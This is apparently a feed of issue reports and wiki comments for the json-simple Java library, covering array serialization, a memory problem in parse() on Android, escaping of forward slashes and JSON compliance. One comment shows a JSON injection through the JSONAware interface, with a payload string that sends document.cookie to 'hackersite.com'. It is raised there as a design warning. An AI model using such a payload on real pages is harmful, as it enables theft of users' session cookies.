  issue 14 (Support serialization of arrays) changed by fangyidong   -   Saxon, don't worry about it and I'll mark it as a duplicated enhancement. And I am really appreciated for your work. Eliseosoto, the issue is posted to the discussion group automatically so I guess you receive this because you subscribed the discussion group. You might want to disable receiving Email from the group or choose to receive digest instead. Sorry for the confusing.

  issue 14 (Support serialization of arrays) reported by saxon.daubin   -   What steps will reproduce the problem? 1. It'd be nice if JSONValue.writeJSONString() and JSONValue.toJSONString() handled arrays. Right now it'll serialize Lists, but an array is serialized by calling toString() on the array. What version of the product are you using? On what operating system? Using the latest version 1.1 Please provide any additional information below. I've attached a patch that works with arrays.

  issue 12 (Excessive memory consumption in parse()) commented on by karl.wettin   -   One solution would be to just use the lexer. I've posted some code to Fang that extends the lexer and uses it similar to the XMLStreamReader in Java 1.6, effectivly saving lots of RAM when processing large amounts of JSON. Let me know and I'll post it again.

  issue 12 (Excessive memory consumption in parse()) commented on by m.kaeppler   -   I just replaced JSON simple with the reference JSON implementation from json.org (which is shipped with Android), and it doesn't suffer from this problem. There must be something leaking (and massively so -- considering it turns a 40k JSON string into 12 megabytes), in JSONParser.parse(). However, to not waste your time: It may well be that this is in fact something related to Apache Harmony, the open-source Java implementation that powers Android. I have been running into problems on Android several times now where Harmony turned out to be the source of the problem (it's scary sometimes how buggy it can be at its core infrastructure). I guess the best thing to do would be: Write a simple test case which parses a JSON file, and profile it both using the Sun JVM and the Harmony JVM. The Android profiler unfortunately isn't detailed enough to tell me exactly which method/object is actually consuming so much memory, but it shows me 10-12MB worth of character data being allocated during a parse(), so it must be something related to reading/buffering character data.

  issue 12 (Excessive memory consumption in parse()) commented on by fangyidong   -   Thanks a lot for the data. It's strange that from my initial testing (using a very simple method), nothing seems to be special.(Local JDK is 1.6. What is the version of the JDK/JRE in your environment?) Here's the code: {{{{ public static void main(String[] args) throws Exception{ long t = System.currentTimeMillis(); long m = Runtime.getRuntime().freeMemory(); Object obj = JSONValue.parse(new FileReader("reviews.json")); long delta = System.currentTimeMillis() - t; long deltaM = m - Runtime.getRuntime().freeMemory(); System.out.println(delta + "ms"); System.out.println(deltaM/1024 + "K"); System.out.println(obj); } }}}} Here's the result: 79ms 537K (The resulting JSON text) I also used YourKit 7.5 to do memory profiling and got the following data: Overall objects: All live objects: 13,025 Shallow size: 1,098,824 bytes Retained size: 1,098,824 bytes Dominant objects: char[] 2,902 objects, shallow size: 429,656 java.lang.String 3,132 objects, shallow size: 75,168 Thanks.

  issue 12 (Excessive memory consumption in parse()) commented on by m.kaeppler   -   That didn't help, unfortunately. I also can't log the StringBuilder contents, because adb just cuts off strings which are too long to log, but I've attached the JSON data served by our web service. It's not a problem with that specific document though. I've seen this happening all over the place.

  issue 11 (Maybe use CharSequence instead String in toJSONString?) changed by fangyidong   -   Thanks for the suggestion. But we made a commitment to support JDK from version 1.2 so we are very reluctant to use the CharSequence from 1.4... You can either make a slight wrapping over GString or convert it to String (via Object.toString()) before putting it to a Map/List. Thanks.

  issue 13 (JSONValue.parse(Reader in) should propagate exceptions) reported by john.eric.evans   -   It would be better to propagate IOExceptions or ParseExceptions thrown from JSONParser.parser() and allow developers to handle the error, rather than test for null and guess as to the actual cause.

  issue 12 (Excessive memory consumption in parse()) commented on by fangyidong   -   You don't have to convert the stream into a String to pass it to JSONParser. JSONParser accepts a Reader as its parameter. Could you comment out the last line and then test it again? return (JSONObject) jsonParser.parse(sb.toString()); And could you help to print out the result of sb.toString() and post it here before passing it to JSONParser? That will be very helpful to analyze this issue. Thanks.

  issue 12 (Excessive memory consumption in parse()) reported by m.kaeppler   -   Summary: I'm using JSON Simple in our Android application. I recently noticed I was getting occasional OutOfMemory errors, and it turned out that JSONParser.parse() is the problem. Parsing this simple JSON document (http://api.qype.com/v1/places/27539/reviews.json?page=1 -- you need a consumer key to actually see that) will cause a memory consumption of over 10 MB. What steps will reproduce the problem? I'm not sure whether this happens outside the Android environment. But what I did is this: private JSONObject parseJsonReply(InputStream data) throws ParseException, ConnectionFailedException { if (modelName == null || modelListName == null) { String className = getClass().getSimpleName(); int idx = className.indexOf("Parser"); modelName = className.substring(0, idx).toLowerCase(); modelListName = modelName + "s"; } BufferedReader reader = new BufferedReader(new InputStreamReader(data)); StringBuilder sb = new StringBuilder(); try { String line = reader.readLine(); while (line != null) { sb.append(line); line = reader.readLine(); } } catch (IOException e) { throw new ConnectionFailedException(e); } return (JSONObject) jsonParser.parse(sb.toString()); } What version of the product are you using? On what operating system? json-simple 1.1 on Android 1.5 (HTC Hero)

  EscapingExamples (Examples of escaping strings with special characters) Wiki page commented on by fangyidong   -   "/" is escaped to avoid some issues in html, such as "</" ... Actually we can make it escape "/" only when it's after "<", say "</" to "<\/", but we currently choose to escape all of them to make the code simpler and the performance higher... From some inputs of current JSON.simple users, we may need to improve it to make the some string such as URL look more nicely... Although it's not a violation of JSON spec, we may need to address some usability requirements. Thanks a lot for the feedback.

  issue 9 (Encoder escapes forward slashes) reported by igor.n.nazarenko   -   Minor issue: JSON encoder adds a backslash before every "/" in the string. While JSON spec *allows* to escape "/", it's not required, and escaping it reduces readability of the encoded data, and unnecessarily increases the size of the encoded string. Could you consider not escaping the forward slash?

  issue 8 (forward slashes are unnecessarily escaped) changed by fangyidong   -   Yes, we escape every slash to void issues in HTML (JSON is used in web applications in most cases) and make the code simpler (and slightly efficient and reliable code, without contextual condition handling). Actually JSON.simple focuses on supports in communications between applications (such as web server and browser, distribute computing), so reliable (100% SPEC compliance and bug free) and efficient are two important consideration, while other features such as pretty printing is not supported. But I think this is a valid usability concern, so I am setting it as an enhancement, which will be reviewed and may be implemented in the future. You are also encouraged to modify and improve the source code directly if you need it right now. Thanks.

  issue 8 (forward slashes are unnecessarily escaped) reported by jmsachs   -   System.out.println(JSONValue.toJSONString("a/b/c")); yields "a\/b\/c" ------- So here's the deal. After asking this question http://stackoverflow.com/questions/1580647, it looks like the JSON spec allows but does not require forward slashes to be escaped. (see RFC4627 http://www.ietf.org/rfc/rfc4627.txt p.4) So technically this issue is not a bug... but it makes file paths look really ugly. Apparently the string "</" is problematic in a few circumstances (namely inside <script> tags in HTML). Is there any way you could change the behavior of json-simple so either it's user-selectable whether forward slashes in strings are escaped, or you only escape "</" to "<\/"?

  ComplianceTesting (Compliance tesing results) Wiki page commented on by fangyidong   -   JSON.simple guarantees that the result is compliant to JSON spec only if the rule of it is followed: http://code.google.com/p/json-simple/wiki/MappingBetweenJSONAndJavaEntities The interface JSONAware provides the freedom to the user to make any extensions (such as comments which are not supported by the JSON spec), so the user should know exactly what they are doing when they implement the interface.

  ComplianceTesting (Compliance tesing results) Wiki page commented on by teknopaul   -   to fix this you should replace JSONValue.java line 154: out.write(value.toString()); with {{{ out.write('\"'); out.write(escape(value.toString())); out.write('\"'); }}} and JSONValue.java line 207: return value.toString(); with {{{ return "\"" + escape(value.toString()) + "\""; }}} And take the public statement out of both JSONAware and JSONStreamAware I don't think having Beans able to represent themselves as JSON is a good design. One would not have a toHTML() method in every bean you sue a JSP or similar to represent the Bean. It makes better sense to separate the model and the view and have JSONObject itself handle representing beans as JSON, perhaps have a method in JSONObject called putBean(Object bean) that does reflection and reads the getter methods, producing valid JSON output when requested.

  ComplianceTesting (Compliance tesing results) Wiki page commented on by teknopaul   -   Also the existence of JSONAware as a public interface opens the API to developer errors such as the following {{{ public static void main(String[] args) { JSONObject json = new JSONObject(); json.put("badBean", new BadBean(CONSTANT)); System.out.println("eval()ed to \n(" + json.toJSONString() + ")"); json = new JSONObject(); json.put("badBean", new BadBean("\"}); ajax.send('hackersite.com', document.cookie); ....")); System.out.println("eval()ed to \n(" + json.toJSONString() + ")"); } public static class BadBean implements JSONAware { private String string = "string"; public BadBean(String string) { this.string = string; } public String getString() { return string; } public void setString(String string) { this.string = string; } public String toJSONString() { return "\"" + string + "\""; } } }}} which outputs {{{ eval()ed to ({"badBean":"myconstant"}) eval()ed to ({"badBean":""}); ajax.send('hackersite.com', document.cookie); ...."}) }}}

  ComplianceTesting (Compliance tesing results) Wiki page commented on by teknopaul   -   I'm not so sure about its compliance, it failed on a simple test of dumping a bean in a Map. {{{ JSONObject json = new JSONObject(); json.putAll(new BeanMap(bean)); System.out.println(json.toJSONString()); }}} and it outputs {{{ {"value":"theValue","class":class fi.gtech.json.TestInterface$Beanie,"cyclic":fi.gtech.json.TestInterface$Beanie@f668b23,"number":23} }}}
